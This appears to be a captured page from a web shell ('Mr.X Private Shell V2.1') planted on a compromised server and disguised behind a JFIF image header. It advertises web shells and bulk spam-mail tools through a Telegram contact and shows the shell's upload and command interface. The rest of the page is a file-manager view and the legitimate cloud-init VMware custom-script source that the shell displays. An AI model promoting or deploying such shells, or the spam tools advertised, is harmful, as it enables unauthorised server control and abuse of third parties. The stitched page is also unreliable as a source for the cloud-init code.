����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright (C) 2017 Canonical Ltd.
# Copyright (C) 2017-2019 VMware Inc.
#
# Author: Maitreyee Saikia <msaikia@vmware.com>
#
# This file is part of cloud-init. See LICENSE file for license information.

import logging
import os
import stat

from cloudinit import subp, util

LOG = logging.getLogger(__name__)


class CustomScriptNotFound(Exception):
    pass


class CustomScriptConstant:
    CUSTOM_TMP_DIR = "/root/.customization"

    # The user defined custom script
    CUSTOM_SCRIPT_NAME = "customize.sh"
    CUSTOM_SCRIPT = os.path.join(CUSTOM_TMP_DIR, CUSTOM_SCRIPT_NAME)
    POST_CUSTOM_PENDING_MARKER = "/.guest-customization-post-reboot-pending"
    # The cc_scripts_per_instance script to launch custom script
    POST_CUSTOM_SCRIPT_NAME = "post-customize-guest.sh"


class RunCustomScript:
    def __init__(self, scriptname, directory):
        self.scriptname = scriptname
        self.directory = directory
        self.scriptpath = os.path.join(directory, scriptname)

    def prepare_script(self):
        if not os.path.exists(self.scriptpath):
            raise CustomScriptNotFound(
                "Script %s not found!! Cannot execute custom script!"
                % self.scriptpath
            )

        util.ensure_dir(CustomScriptConstant.CUSTOM_TMP_DIR)

        LOG.debug(
            "Copying custom script to %s", CustomScriptConstant.CUSTOM_SCRIPT
        )
        util.copy(self.scriptpath, CustomScriptConstant.CUSTOM_SCRIPT)

        # Strip any CR characters from the decoded script
        content = util.load_text_file(
            CustomScriptConstant.CUSTOM_SCRIPT
        ).replace("\r", "")
        util.write_file(
            CustomScriptConstant.CUSTOM_SCRIPT, content, mode=0o544
        )


class PreCustomScript(RunCustomScript):
    def execute(self):
        """Executing custom script with precustomization argument."""
        LOG.debug("Executing pre-customization script")
        self.prepare_script()
        subp.subp([CustomScriptConstant.CUSTOM_SCRIPT, "precustomization"])


class PostCustomScript(RunCustomScript):
    def __init__(self, scriptname, directory, ccScriptsDir):
        super(PostCustomScript, self).__init__(scriptname, directory)
        self.ccScriptsDir = ccScriptsDir
        self.ccScriptPath = os.path.join(
            ccScriptsDir, CustomScriptConstant.POST_CUSTOM_SCRIPT_NAME
        )

    def execute(self):
        """
        This method copy the post customize run script to
        cc_scripts_per_instance directory and let this
        module to run post custom script.
        """
        self.prepare_script()

        LOG.debug("Copying post customize run script to %s", self.ccScriptPath)
        util.copy(
            os.path.join(
                self.directory, CustomScriptConstant.POST_CUSTOM_SCRIPT_NAME
            ),
            self.ccScriptPath,
        )
        st = os.stat(self.ccScriptPath)
        os.chmod(self.ccScriptPath, st.st_mode | stat.S_IEXEC)
        LOG.info("Creating post customization pending marker")
        util.ensure_file(CustomScriptConstant.POST_CUSTOM_PENDING_MARKER)

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
boot_proto.py File 308 B 0644
config.py File 4.42 KB 0644
config_custom_script.py File 3.03 KB 0644
config_file.py File 2.15 KB 0644
config_nic.py File 8.27 KB 0644
config_passwd.py File 2.37 KB 0644
config_source.py File 276 B 0644
guestcust_error.py File 411 B 0644
guestcust_event.py File 461 B 0644
guestcust_state.py File 358 B 0644
guestcust_util.py File 19.99 KB 0644
nic.py File 3.21 KB 0644
nic_base.py File 3.78 KB 0644